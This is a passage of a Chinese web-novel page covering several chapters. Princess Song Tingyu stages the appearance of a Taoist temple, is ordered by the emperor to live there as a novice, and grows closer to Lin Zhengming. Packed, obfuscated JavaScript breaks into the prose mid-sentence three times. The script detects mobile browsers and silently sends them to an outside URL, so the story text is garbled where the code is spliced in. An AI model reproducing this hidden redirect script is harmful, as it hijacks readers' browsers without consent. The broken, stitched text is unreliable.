他子女不丰,膝下唯有昭平公主似乎对此颇有所得,他想着好歹带上一个,以让上天看看,自己为宣理悟道也是做出一番努力的,这个女儿,就是自己的成果。 景元帝急着上山,脚步不停,宋庭玉起身跟在銮驾边,陪着一起上山。景元帝低声问:“你的府邸离翠屏山这样近,可有察觉到什么?” 宋庭玉摇摇头,急忙道:“女儿愚钝,想来是没有此等悟道的福气,竟不知山中何时凭空出现了这样一座宏伟的道观,昨日一早醒来,亦是吃了一惊。” 景元帝点点头,也能想到此等奇观不是谁都能第一时间感应到的,不免又得意地想:若是自己在此处,一定可以立刻感应到上天降下的此等祥瑞。 他又问:“观中可有什么人?” 宋庭玉摇摇头:“儿臣不敢擅专,还从未去过观中,只是夜里朦朦胧胧可以看见有人的影子,甚是惊异。” 景元帝一听,心里更是着急,忙催动銮驾快快走,他要做第一个赶到这仙境福地中的人。 浩浩荡荡的人马上了山,銮驾悠悠停在山门口,此刻所有人都是同一个动作:抬头仰望着高达五层的道观,目瞪口呆,不知如何言语。 景元帝扶着李介的手下了銮驾,亦是仰头看着眼前的道观,雕梁画栋、精美异常,每一处雕刻都透露着人间难有的手艺,仙鹤祥云舞动其间,栩栩如生,仿佛下一秒就要想自己飞翔而来。站在门前,不知道里面究竟是几重宅院,不过每一个屋檐的下方都挂着古拙的金铃,风一吹过,叮叮当当,如仙乐过耳,涤荡人心。 景元帝久久凝望着这座宛如仙宫的殿堂,半晌不能言语。山门前的匾额上,刻着三个大字:寒若观。字体遒劲,笔锋凌厉,不似凡品,金色的墨痕在阳光下熠熠生辉,衬得此观更加仙气飘飘。 随同而来的大臣难以置信地望着眼前的奇景,本以为陛下一时兴起,这山里出现的说不好只是蜃景,不可当真,只是没人敢劝。如今亲眼得见,恨不得拿手巾擦擦自己的眼睛,再放回去,好仔仔细细看一看这究竟是不是真的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“仙门重地,岂容尔等诋毁?”他神色冷厉地看了众人一眼,被他的视线扫过的人纷纷低头,不敢直视天颜。 景元帝见无人再敢置喙,笑着回过头,冲着老道歉意道:“道长见怪,我这一班大臣并无不敬之意,只是凡俗人等必为肉身所累,他们也是担心朕的安危。” 道人点点头,表示十分理解,笑道:“人皇若有疑虑,可寻一人陪同前往,只是此人必得潜心向道,身上无俗世浊气之人。”说着,老道的眼睛在众人中扫过一圈,被扫过的人纷纷昂首挺胸,笑话,谁不想进这富丽堂皇的福地看一圈,哪怕是沾沾仙气也好啊。 只是出乎所有人意料的是,那老道拂尘一甩,在人群中一眼指出一个人,笑道:“这位,小道看来就很好。” 众人纷纷回头看去,人群顺着老道所指之人自动让开,露出那个被选中的“幸运儿”,不偏不倚,正是宋庭玉。 “嘶……”景元帝皱眉:“道长是认真的?这是我的四女儿,只是毕竟是女子之身,是否……” “不然。”老道打断道:“我仙门之中,不拘男女,只看此心是否虔敬,亦有女居士虽我祖修行,陛下不必担忧。方才陛下说,这位是陛下的公主,敢问陛下,她是否于我仙门一道,颇有所悟啊?” 景元帝大喜,心道果然是神机妙算的仙人,自己此番让昭平伴驾果然没错,点点头赞道:“道长慧眼,此女正是朕的儿女之中最像朕的一个,说来惭愧,朕虽一心向道,只是未能教好家眷,只有这个女儿,自学了一些粗浅的道理,道长见笑了。” “无妨,既是有所悟之人,本道断没有放任自流的道理。这位殿下,请吧。”说着轻捋长髯,自己率先走在前面。 众人面色各异的看了宋庭玉一眼,她却十分坦然地从人群中走了出来,向景元帝行了一礼,景元帝点点头,二人跟在老道后面,进了山门。 李介与京兆府尹对视一眼,沉默不语。 39. 顺势而退 宋庭玉低眉敛目,一副冷静自持的样子,比山门外那些连连惊呼的伴驾大臣举止有度得多,景元帝回头看了她一眼,点了点头。看来这段日子的禁足颇有成效,没有了前些日子轻狂到不知天高地厚的样子,一举一动颇具皇室公主的端庄,对自己也深感其威,不敢再恃宠而骄、举止放肆,看着顺眼许多。她低着头时,恰好一阵风吹过,撩起了她垂落在额角的一缕头发,于是景元帝的目光就不偏不倚地落在了她眼尾的红痣上,心头一动,难得柔软下来。 "这些日子,玉儿在府中做了什么?" 宋庭玉似乎没想到景元帝会同自己搭话,受宠若惊地抬起头,像她第一次入宫时那样小心翼翼,如一只胆怯的兔子:"回父皇,儿臣深知愚钝,每日修习不敢懈怠。" "哈。" 景元帝还未答话,元贞道人突然不甚明显地笑了一声。 "道长这是?"景元帝回头,元贞道人鹤发童颜的脸上露出一个饱含深意的笑,眼睛扫了宋庭玉一眼,很快移开目光。 景元帝察觉到什么,打量的目光在宋庭玉身上停留片刻,脸色沉了下去,肃声道:"道长有话直说就是,朕这个女儿不成器,让朕十分操心。" 谁知元贞道人摇摇头道:"非也非也,公主殿下年轻女儿,有如此拳拳孝心,实在是令人唏嘘哩。" "哦?" 元贞道人抚了抚长髯道:"民间有虔敬信徒,每每诵经祝祷,必焚香静心,沐浴茹素,诚心祷告,时间一久,身上不免也沾染了清气。公主殿下虽一身华服,但身上的素净气息却是挡不住的,非日日在我祖面前祝祷不能有。只是方才陛下问起,却含糊其辞,可见其并不是为了博取陛下的欢心。如此赤心,实乃难得。" 景元帝恍然大悟,眼里重新染上和蔼,看着宋庭玉的样子果真像是一个慈父,见她窘迫地低下头,脸色涨得通红,仿佛自己的心事被人捅破一般惊慌无措,低声嗫嚅:"道长慧眼,儿臣,儿臣……" 景元帝好心解围,笑道:"玉儿对朕一片孝心,朕心甚慰,为朕祝祷只管告诉朕就是了,遮遮掩掩地做什么呢。"他叹了口气,想起前些日子的事,摇摇头道:"你素来胆子小,段做不出那些轻狂无矩的事来,只怕是身边的人不安分。回去之后,朕给你几个得用的人,好好替你打理府上。" 宋庭玉眼神一暗,面上却一派感激之色,躬身行礼:"多谢父皇。" 元贞道人见父女二人一派父慈子孝,笑了笑,将两人引入大殿。 景元帝收回心思,讶然地打量眼前这座金碧辉煌、暗香浮动的殿宇,对着三清像虔诚拜下。元贞道人等了片刻,见景元帝起身,才笑道:"陛下,厢房里备下茶水,请容小道讨教一番。" 景元帝大喜,他修行已久,只是宫里的道人才疏学浅,不能令他明悟,如今能与"神仙"论道一番,必能有所体悟。 宋庭玉十分有眼色道:"父皇与道长请便,儿臣在观中一一参拜。" 元贞道人带着景元帝进了大殿之后的一间耳房,宋庭玉望着二人的背影消失,淡淡地收回目光,一改之前惶恐诚挚的表情,抬眼看了看高高在上的神位,转身出了大殿。 "殿下变脸的功夫堪称一绝啊。" 她回过头,林微鸣从回廊下走来,笑得一脸揶揄。 宋庭玉皱眉:"你怎么来了?虽随侍大臣不得人内,可难免有意外,若是被人看见,坏了本宫的大事……" 林微鸣连忙堵住她要吐出诛心之语的嘴,叹道:"兹事体大,我自然是万分小心谨慎的,只是难道在殿下心里,我就是那样不知轻重的人?" 宋庭玉被倒打一耙,难得语塞,也意识到眼前人已经在自己面前坦陈了所有,自己是不该如此怀疑他。只是她身边没有人这样当面不满过,她毫无应对这样事情的经验,不知道在将她放在心上的人眼里,歉意有时不需要通过语言,也能表达出来。 林徵鸣极擅察言观色,见她犹犹豫豫,心里已经有了答案,当下见好就收,笑道:"原来殿下所说的计划,就是这个。"他环视一周,眼前的道观华丽精美,仿佛高耸人云,若是建在城里任何一个地方,都不会像在这里这样能悄无声息地进行。绵延数十里的翠屏山,给了这桩秘密工事一个天然的屏障,也在如此这样的危急时刻,给了她一条另辟蹊径的出路。只是·…··· "此观建成,绝非而一朝一夕之事,难道殿下那时候就已经料到会有今日?" 宋庭玉看着檐角下大如鸡蛋的夜明珠,摇了摇头:"本宫不会神机妙算,自然不可能料到今日,只是完事都需给自己一条退路。"她这话说得意味深长,只是林徵鸣一时没有听懂,还颇以为然地点点头:"自古有大谋略者皆是如此,殿下同他们一样。只是我听陈伯说,此观用的是贞妃娘娘留给殿下的嫁妆?" 宋庭玉无语地瞪他一眼:"怎么陈伯什么都和你说……罢了,闲话少叙,既然你来了,本宫这里有一件事需要你去办。” 林徵鸣讶然,讷讷看她:"殿下已经知道我的真实身份,我虽师从杨先生,可一向自由散漫、不务正业,于治世谋略一道实在是一窍不通,自认无经天纬地之才,亦无为官做宰之心,殿下就饶了我吧!" 宋庭玉粲然一笑,摇头叹道:"你这人,真是奇怪,明明师出名门,自己也聪颖至极,怎么养成了这样一副性子。现如今那个男儿不图一朝入朝、平步青云,你比他们出色多了,可竟能淡泊至此。" 林徵鸣看着她,正色道:"不是淡泊,我亦心有所图。" "哦?"宋庭玉好奇地看着他:"所图为何?" 林徽鸣看着她清澈的眼睛,里面装着他的倒影,除此之外,还装着元夏的万里河山。 他摇摇头,没有回答。 不知为何,宋庭玉突然敏锐地意识到他的答案或许就是自己隐隐约约感觉到的,他虽然没有回答,可是却将他的答案融进了日常生活的每一刻,她处在其中,是局中人,可也是局外人。 只是,她现在没有那么多的时间破解开这个迷局。 像往常的每一次一样,她转移了话题:"仅仅是一座道观,还不足以达到本宫的目的。你说南梁的皇室想要本宫手里的《神兵》,其实皇上也一直在找,只是秘密掩埋得久了,始终不得其法。如今,本宫已经知道《神兵》的作者是谁了。" 林徵鸣心头一动,这还是她第一次开诚布公地提起这本奇书的下落。 元夏有神将,就是宋庭玉的外祖父、兵马大元帅宁致恒,除了用兵如神之外,这位大元帅最神奇的地方在于身体惊人得神异,即便不是刀枪不入,但受了伤几乎能在一夜之间恢复如初、重上战场,无论是多重的伤,似乎都不影响他上阵杀敌。宁大元帅体格强健到了几乎非人的地步,可出人意料之处也在这里:这样一个无数次历经生死而毫发无损的人,在回王都致仕一年后暴病而亡。 相传,宁致恒将自己毕生所悟的兵法、计谋以及养身之道都写在一本书里,名曰《神兵》。谁都想得到它,为那战无不胜的诡变之策,也为玄而又玄的不败秘技。 林徵鸣一直以为,这本书被大元帅传到了贞妃手里,贞妃又给了宋庭玉。如今看来,他们南梁王子从一开始就已经错得南辕北辙。 “所以,此书的作者是?” 林徵鸣单纯好奇地问。 宋庭玉微微一笑,双眼直勾勾地看着她,脸上的笑容越发不怀好意。 “你。” 起驾回宫时已近黄昏,不知元贞道人与景元帝说了什么,二人走出山门时皆是一脸高深莫测。宋庭玉缀在二人身后,却总是能感觉到景元帝的目光穿过人群,落在她身上。 她低着头,恍若未觉。 一行人又像来时那样浩浩荡荡回了皇城,伴驾的大臣相对茫然:这一日,仿佛做了什么,又仿佛什么也没做。 因着景元帝并未解除宋庭玉的禁足,她依旧回到府中,没有跟着往皇城里走。只是进了府,她命人点起灯,自己进了书房,吩咐任何人不得打扰,一坐便是个晚上,彻夜通明的孤灯荧荧,仿佛在等待什么消息。 与此同时,深夜,景元帝急召赶回皇城的吴文新并六部重臣、钦天监监正进宫议事。 吴文新甫一进王都城门,还没来得及回家换身衣服,就被小黄门急匆匆唤进了宫,此时他坐在御书房下首第一个位子上,撑着按了按眉心,面上是掩饰不住的疲惫。 户部尚书道:"吴大人,此行可还顺利?" 吴文新睁开眼睛,风尘仆仆之下他的眉眼更显肃然,点点头简短道:"尚可。" 户部尚书习惯了他这言简意赅的说话方式,并不放在心上,乐呵呵问:"大人可知今日王都城里可是发生了一件大事,翠屏山上竟凭空而了一座道馆,气势宏伟、富丽堂皇,陛下今日还特意巡幸翠屏山,与那道观里的道长谈了好长时间呢!" 吴文新按压眉心的手一顿:"翠屏山?" 礼部尚书呵呵一笑,他年过五十,身上有宁安侯的爵位,是太子宋庭璟的老丈人。因着杜修闻被免官、太子被勒令回文渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451291|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁读书一事,心中十分焦灼,此刻那布满褶子的脸上露出一个嘲讽的笑:"子不语怪力乱神,那么大的一处道馆怎么能是凭空出现?谁知道是不是别有用心之人在幕后刻意为之。" 户部尚书尴尬一笑。 在场的几人皆在官场上修炼成了精,哪里会听不出来他这话意有所指。寒若观就在翠屏山上,山下就是公主府,昭平公主因惹得陛下不快被禁足府中,若是想另辟蹊径博取陛下欢欣,不是没有可能。只是做出这样一番事,到底是犯了欺君之罪。 在场几人心思各异,吴文新没想到自己外出办事几日竟出了这么大的事,只是此刻已经来不及向宋庭玉问个明白,只能见机行事。 几人等了半盏茶的功夫,景元帝迈着兴冲冲地步子进来,众人纷纷起身行礼,景元帝笑着一挥手:"众爱卿不必多礼,今日之事想必你们已经看到了,实乃闻所未闻之大神异啊!天佑我元夏!" 他步伐有力,一改往日的萎靡不振,脸上是难得一见的兴奋。 众人低着头对视一眼,面面相觑,不知如何反应,只有楚秉文高声应道:"天降福祉,佑我元夏,陛下万福!" 几人一惊,不知道这个平日里闷不做声的钦天监监正今日抽了什么风,再说了,几位肱骨大臣都在呢,轮得到他说什么话! 虽是这样想,可头已经开了,几人哪里敢不跟着来?于是,御书房李响起几声稀稀拉拉的"天佑元夏""陛下万福"之类的话。 景元帝脸色一沉,半晌冷笑一声:"你们几个没有慧根之人,如何能看得出此观之神异?唯有楚爱卿,通晓天象,倒是还聪慧几分。罢了!" 他长叹一声,坐到椅子上,目光沉沉地扫视一圈自己这几位重臣,半晌道:"今日,朕叫你们几人过来,是有一件事要说。" 几人凝神屏气,安静聆听。景元帝沉声道:"朕今日与玄明道长谈玄论理,颇有所得。玄明道长是举世难出的高人,他言朕受命于天,只是如今帝星不安,还需一位宗室有缘之人,以身入道,为朕日日诵经祈福,以至帝星重现光泽。" 几人面面相觑,这话听起来像是要择一个宗室之人出家住到道观里去,只是景元帝没有兄弟姊妹,子女还在世的只剩下三个,这是……? 不知为何,吴文新的心砰砰直跳起来,有一种极为不祥的预感笼罩了他。 户部尚书小心翼翼抬起头,迟疑着问:"敢问陛下,道长所言的宗世子是?" 一阵风过,吹动了殿内的风烛,在吴文新的脸颊上投下晦暗的阴影。 "乃朕之第四女,昭平公主,宋庭玉。" "噼啪!" 烛火发出一声爆裂的炸响。 礼部尚书率先反应过来,一字一句铿锵道:"为陛下祈福,乃公主之责,若能真的使帝星安然,亦是我元夏之福,陛下圣明。" 他心头一喜:看来这寒若观与昭平公主应该是没有什么关系,不然怎会在这个关头让她做道士去?说是祈福,可既然入了山门,哪有轻易还俗的道理?可怜昭平公主满腹为自己的算计,不料却一朝栽在了一个道士手里! 吴文新只觉耳畔嗡嗡作响,实在是想不明白自己不过是出了一趟王都,怎么事情就发生了如此翻天覆地的变化。 他站出列,俯身行礼,犹豫道:"陛下,此事事关重大,臣以为应再斟酌一二,现下楚大人也在此,不如问问他,关于帝星,是否还有别的说法?" 说着,吴文新看着楚秉文。他不知楚秉文与宋庭玉的关系,只是楚秉文这个人一向刚直果决,若此事真有什么人在背后捣鬼,想必他能站在一个不偏不倚的位置上说话。 只是楚秉文注定要让他失望。 他站出来,面无表情道:"回陛下,臣才疏学浅,只能看出道长所言帝星黯淡并非虚言,只是作何解法臣亦不知,道长仙法深厚,于推演观星一事上甚是高明,所提之法,想来我等凡人不可窥见。" 景元帝哈哈大笑:"楚爱卿这一番话倒是推心置腹。吴爱卿,你多虑了,那寒若观和元贞道人的出现是朕的机缘,再说,你所怀疑之事,朕已派人查明,并无任何不妥之处。昭平在宫里侍疾的时候,朕就发现这个女儿与朕颇有几分相似,如今看来,这是上天给朕的一个机会啊!"他抚了抚下巴,沉吟片刻,叫了礼部尚书的名字,吩咐道:"朕意已决,拟旨,即刻起,令昭平公主进寒若观带发修行,替朕与万民祈福,赐号静真,无诏不得出!钦此。" 吴文新闭了闭眼,深吸一口气,脸色是前所未有的难看。 40. 画中仙 圣旨连夜送出,似乎景元帝不想再让宋庭玉多待一刻,其中有多少是太子一派的手笔,她不得而知。 吴文新冷眼看着小太监快马加鞭带着皇帝的亲令出了城,冷冷瞪了礼部尚书一眼。 既然是即刻入观修行,寒若观又不许旁人进入,吴文新就是想与宋庭玉谈论一二都无法做到。他坐在回府的轿子上,恨恨地想:究竟是谁,趁他不在,背后放了这一支令人来不及招架的冷箭? 深夜,公主府的大门被敲响,在书房里听见吵闹声的那一刻,宋庭玉若有所觉地睁开眼睛。还未站起身,陈伯急匆匆的脚步声就在廊下响起,甚至忘记了敲门,年迈的脸上掩饰不住的惊慌失措,惴惴不安道:"殿下,宫里有旨意送到,这么晚了,究竟是什么事啊!"宋庭玉抬眼,陈伯不愧是跟了她这么久的人,对即将到来的不利出境似乎有一种天然的敏锐嗅觉。她不紧不慢地站起身,并没有多说,淡淡道:"出去看看吧。" 她的镇静无波感染了陈伯,他跟在宋庭玉身后,为她打起一盏灯笼,不由苦笑:一把年纪了,什么大风大浪没见过,竟还是这么沉不住气。 只是,听过圣旨的内容之后,陈伯就是再百般劝慰自己冷静,也万万不能淡然处之。强撑着送走了传旨太监,他惊惶地看着宋庭玉,眼里带着自己都没有察觉到的愤怒:"陛下,陛下怎能让公主去出家做道士啊!这不是……"他的声音骤然变小:"不是害了您吗!" 他眼睁睁看着自己面前这个如花似玉的女孩儿,十九岁的年纪,已经承受了比她的同龄人更多的责任和风浪,天可怜见!究竟为何命里还有这样一劫! 宋庭玉默然,她身边人只知她修建寒若观,皆以为她是要借这道观重获皇帝的恩宠,只是只有她自己知道,她是要借这急流勇退之势,彻底摆脱吴文新的钳制。 唯有如此,她才能真正拥有属于自己的力量。 只是,这千万般细细密密的打算却不便为人言,一来,吴文新是她的授业恩师,她骤然翻脸必有人不解,言语口舌之间都将变成无意中露出的马脚,扰乱她的整个计划。二来,这么多年,吴文新进她公主府多次,其中难保没有墙头草,唯有让他真正相信自己已经是一枚弃子,才能得到摆脱他的机会。 等到自己重新借力而起,他就是想动自己,也奈何不得了。这么多年,宋庭玉能在多方暗流涌动的王都中拥有进退自如的能力,靠的也是一招借力打力,只不过如今被反击的,是曾经站在她身后的人罢了。 她叹了口气,轻轻拍了拍陈伯的肩背,只觉一夜之间,他仿佛老了许多。她柔声安慰,就像以往每一次遇到危机时都会在他们身前挺身而出那样,这一次也不例外。 陈伯看着她平静的脸渐渐冷静下来,用布满褶皱的手抹了抹眼角的泪,低声叹道:"殿下,我们无能,不能为你做些什么,只想着不能拖你的后腿。到了今天这时候,我……我仿佛说什么都显得使不上力。" 宋庭玉摇摇头道:"哪里的话,本宫进了寒若观,你们要替本宫好好守着这公主府。再说了,寒若观就在翠屏山上,虽说是无诏不得外出,可咱们私底下的事情,又有谁能知道呢!" 陈伯只允许自己悲伤了一会儿,很快就恢复过来,揉了揉眼睛道:"殿下明早再启程吧,我给殿下收拾收拾要带的东西。" 公主府里的人向来忠心耿耿,以昭平公主的话为圭臬,宋庭玉没说即刻就走,那就是还有余地。 她点点头,目送着陈伯的背影快步离开,低头叹息。 "这也是殿下计划的一部分?" 林徵鸣不知什么时候出现在了她身后,抱着臂站在廊下,不知听了多久。 宋庭玉挑眉:"本宫有多大的能耐,连皇帝的旨意都能左右?" 林徵鸣垂眸,看着她缓背着手缓缓走近,面上带着奇怪的表情:"区区一道圣旨罢了,殿下可是连欺君之罪都敢犯下的人,还有什么不能左右的?" "你放肆。" 宋庭玉走近了,扯起他的衣领,直勾勾看着他的眼睛,低声耳语。 明明说的是斥责人的话,可是她脸上的表情却没有半分生气的样子。两个人足尖抵着足尖,距离从来没有这样近过。林徵鸣只觉"轰"的一声,从自己的脖颈到耳朵蔓延上一股热意,烧得他想要跳进身边的湖里去冷静冷静。 宋庭玉对二人之间的距离恍若未觉,继续扯着他的领子,脸上露出一个威胁的表情,压低了嗓音道:"你同本宫一起进观,你就在本宫眼皮子底下老老实实地编书,今日之事,你胆敢有半分泄露,小心你的……" 她伸出指尖,用染了蔻丹的指甲划过他裸露在外的脖子,带着几分力道,掠过他的喉结,在上面留下一道浅浅的、泛着红印的划痕。 "小心你的项上人头。" 她说完,揪着他领子那只手若无其事地拍了拍,带着股不伦不类的威胁意味。 林徵鸣一怔,屏住呼吸,半晌将自己的脸憋得通红,待宋庭玉微微退开些许,才猛地吸了一口气。 宋庭玉微微一笑,淡淡道:"收拾你的东西去,一刻后就出发上山。" 林徵鸣仿佛从梦中惊醒,大口大口呼吸了片刻,才狼狈地用袖子抹了抹脸,点点头,脚步虚浮地离开,转身时仿佛犹在梦游,摸了摸自己微微泛着疼痛的脖子,鼻尖似乎还残留着她指尖淡淡的海棠香。 她应该,没有别的意思,只是在威胁自己不要把顺势退至寒若观的秘密说出去吧? 她应该,不是在撩拨自己吧? 一定不是的。 他恍恍惚惚地想起之前自己百般暗示,她始终不为所动的样子,轻轻叹了口气,确定她只是单纯地威胁自己,根本没有男女之间情动撩拨的意思。 她根本没有那根弦嘛! 唉,也不知这根情丝,何时才能长出来。 他深深叹了口气。 宋庭玉看着他踉踉跄跄的背影,轻轻捻了捻指尖。她一直以为林徵鸣对自己的种种示好只不过是一个幕僚对主公的忠诚,她也以为自己对他的百般纵容,是一个礼贤下士的固有姿态。只是之前吴文新的一番话宛如一记惊雷,敲响了她懵懵懂懂的魂魄,在她的心里下了一场席卷众生的雷雨。大雨过后,情丝如春草,蔓蔓而生,在她荒芜的心里长成一片生机勃勃。 那一刻,她虽然嘴硬,只是自己的心,却无法再欺骗自己。 她就是对林徵鸣多有纵容,他就是﹣- 与常人不同。 他那么聪明,应该知道了自己的意思吧? 住进山中道观带发修行,不知何日才能重回府里,要带的东西繁多,及是宋庭玉再三叮嘱精简即可,陈伯也不敢怠慢,大包小包收拾了几辆马车,宋庭玉等不及,和林徵鸣轻装简行,率先上了山。 玄明道人并不在观中。自居一道人【改】被景元帝秘密绞杀后,皇城里的"天宫"就空置下来,景元帝扫榻相迎,玄明欣然应允,借此机会住进了皇宫,与景元帝日日谈论玄法,衣食住行皆极尽豪奢,心里对宋庭玉更是感激 他本是南梁边境一个不知名的道士,住在城郊十几里外一个破破烂烂的道观,香火寥寥,几乎活不下去。只因早年与昭平公主有一面之缘,她善心大发救自己于生与死的边界,他立誓还俗报答,谁料被昭平公主断然拒绝,只让自己安心住在城中一座宅院里,潜心研究道法。 打心眼儿里讲,他当初做了道士,也是因为家贫吃不上饭,是观里的好心修者收留了他,遇到昭平公主时,他已经打算还俗去做苦力、讨口饭吃了。谁知峰回路转,人生竟还有这样的际遇。 他看着装饰精美的"天宫",对着昭平公主府的方向,连连虔诚叩拜。 宋庭玉并不知道玄明如今作何感想,她在山中过了一夜,只觉神清气爽、心旷神怡。推开房门,人目就是一片翻涌的云海,绿油油的新枝从云海中探出头来,带着涤荡人心灵的清新,她深深吸了一口气,再缓缓吐出,只觉这些日子的不快和烦闷,在这一呼一吸的吐纳之间,顷刻一扫而空。 她突然想起林徵鸣说的那个梦。 一片杳无人迹的山谷,在花团锦簇之中,只有他们两人。初听时一笑而过,并未往心上放,如回想起来,若真能如此,何不是一件难得的幸事? 她难得有心绪如此柔软的时刻,站在高台上让思绪随风流淌,并不刻意阻拦,直到远远望见山路上,陈伯带着堪称车队的一队马车,摇摇晃晃正向山门口驶来。 她默然无语片刻,哭笑不得地下山迎接。 经过一夜的思量,陈伯已经恢复了往日的沉着稳重,他虽然不知道宋庭玉有所计划,但隐隐约约感觉到有些事情不能大张旗鼓,所以只带了忍冬和几个信得过的影卫,让他们将物品一一搬进山,自己擦了擦额头的汗,道:"能拿上来的东西不多,殿下将就着用吧,若是还缺少什么,只管传话来,我每隔三日就让忍冬过来一趟。" 宋庭玉知道他一片苦心都是为了自己,若是自己不接受,老人家只怕要睡不着觉了,笑着点点头道:"知道了,你放心吧。" 陈伯往她身后看了看,没看见林徵鸣,皱眉不满道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459767|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' "即便是不方便让外人知道,可现下都是咱们自己府里的人,也该出来迎一迎才是,哪能劳动殿下自己。" 宋庭玉笑得无奈,正要替林徵鸣辩驳几句,身后就传来一个懒懒散散的声音:"不过一个晚上未见,陈伯怎么又在说我的坏话啦?" 她回过头,林徵鸣踢着步子、慢吞吞走下石阶,目光猝不及防地与她撞上,他微微一愣,有些不自在地别过头,十分刻意地轻咳一声。 宋庭玉看着他眼下淡淡的乌青,暗忖他是因为自己昨日的举动辗转反侧了一夜?心头微动,但笑不语。 陈伯狐疑地看着突然变得粘稠起来的二人,皱了皱眉,正要说什么,林徵鸣咳嗽一声打断道:"陈伯有没有带些治风寒的药上来?我嗓子有点不舒服。" 陈伯一下被转移了注意力,忘了自己方才要说什么,絮絮叨叨着:"大热的天气,你染哪门子的风寒?你可千万当心,可不能过给殿下……不行,要不你还是跟我回府去吧,等病好了再过来。" 林徵鸣暗恨自己搬起石头砸自己的脚,低声嘀咕道:"不用了,我看看您都带了什么,有药吃几副就好了。"说着,就往最后面的一辆马车去,站下底下翻翻找找。 陈伯一看,头发都要炸起来了,快步撵了上去,嫌弃道:"我打理好的,你不要乱翻。再说你不是认得草药吗,自己在山里头拔几棵吃了不就好了!" 两人一个假意要看,一个真真切切不让看,你来我往地争执之间,从马车里掉出一个长长的卷轴。 "这是什么?" 林徵鸣争抢的动作一顿,蹲下身捡起卷轴。它被细心地放在一个长条形的布袋里,收口扎紧,防止有灰尘落入,可见卷轴的主人是极为用心的。 陈伯拿过卷轴,斜眼瞟他一眼,不痛不痒地轻斥:"没规矩!" 说着,轻轻拍了拍布袋表面沾了的灰尘,恭恭敬敬地呈给宋庭玉:"殿下,这是早上出发时,清雅园的几位学子送来的。他们得知殿下如今在观中带发修行,不得出山,想必是看不到他们会试了,故特意委托我送了这个上山来,感谢殿下的提携帮扶之恩。" 宋庭玉饶有兴致:"哦?" 接过卷轴,朝二人笑道:"他们倒是有心,如此繁忙的时候还能惦记着本宫,只是会试在即,你告诉他们,定要潜心备考,万万不可因此而分心。" 陈伯点点头笑道:"他们几个心里都有数,只是殿下对他们恩重如山,他们都惦记着殿下呢。" 林徵鸣面色不自然地一沉,想起之前清雅集会时那个姓蒋的书生,心头生出几分不悦。,只在心里暗暗劝慰自己:文人一贯是这样肉麻的,更何况送礼的还不一定是那个蒋书生呢。 宋庭玉可听不见他的心声,拆开布袋收口处的绳子,里面是一个精致的画轴,装裱细心,不知是不是自己的手艺。她轻轻一扯画轴中间的细绳,如同放出了林徵鸣并不乐见的洪水猛一般。她一手撑着画卷,一手徐徐展开 画卷上,宣纸洁白,笔墨簇新,一个清丽高洁的美人俏然出现在纸上。 那美人一身素白衣袍,用笔灵动,衣袖似乎无风而动,盈盈香风似乎能透过纸张飘到观画者的鼻端,双手自然垂落,指尖莹润,似乎有万钧神力酝酿其间,腰间别着一根鞭子,盘成一个圈儿,如同一只卧在其中、伺机而动的灵蛇。只是出乎意料的是,美人的面目没有画出,看上去似乎像是一幅未完成的作品。 陈伯疑惑地眨眨眼,不知这是何意,以为是那书生给错了。 林徵鸣却冷笑一声:“算他还有几分分寸。” 宋庭玉摇摇头,笑道:“你这人,也忒敏感了些,不过就是一幅画,又没有五官,谁知道画的是谁。本宫看着这画用笔灵动,下笔不凡,倒真是个极擅丹青之人。他未曾画上五官,就是自知不妥,只是一番好意,也无需计较。” 林徵鸣道:“殿下可知,如今民间有个玉昭娘娘,民间流传玉昭娘娘的画像就是这般,可世间谁人不知,玉昭娘娘就是你。” 宋庭玉将画轴卷起来:“本宫可担不起如此神职,既然民间有此神女,那他画的便是此神女,与本宫何干?” 林徵鸣犹自忿忿,见宋庭玉已经转身回房去,忙招来陈伯,低声问:“是谁将此画送来的?” 陈伯原本还莫名其妙呢,听他二人一番话才知道那书生画得竟是他家殿下,怒不可遏,皇家子女的画像,岂能随意流传在外!只是殿下不予追究,他也不好再说什么,听林徵鸣问了,难得与他达成一致,气道: “就是那个姓蒋的书生!” 41. 谜题 “殿下,那厮竟敢私自为你作画,私藏皇室画像,实在是胆大包天!” 陈伯的车队走了已经有两个时辰,林徵鸣已经第无数次在宋庭玉面前提起这件事。 她放下手里的书,无奈道:“本宫本就对那样一个书生并无印象,是你一遍遍在本宫耳边提起,你若再说,本宫就是记性再差,恐怕也忘不掉他了。” 林徵鸣絮絮叨叨的嘴一停,登时急道:“殿下可不能记得这么个人,一个还未有功名在身的举子,行事如此大胆狂妄,实在是言行无状,殿下还是赶快忘了他好。” 宋庭玉浅浅一笑,摇了摇头,目光并未从书本上离开。 林徵鸣凑过去,看她手边的书名。 “《古今谜语集》?殿下怎么看起这个来了?” “没什么,随便看看。”宋庭玉合上书,若有所思地看了他一眼。 除了方才在山门外,他的眼神有一瞬间的不自然之外,其余时刻与自己相处时与往常并无不同。宋庭玉微微皱眉:难道是自己暗示得还不够明显? 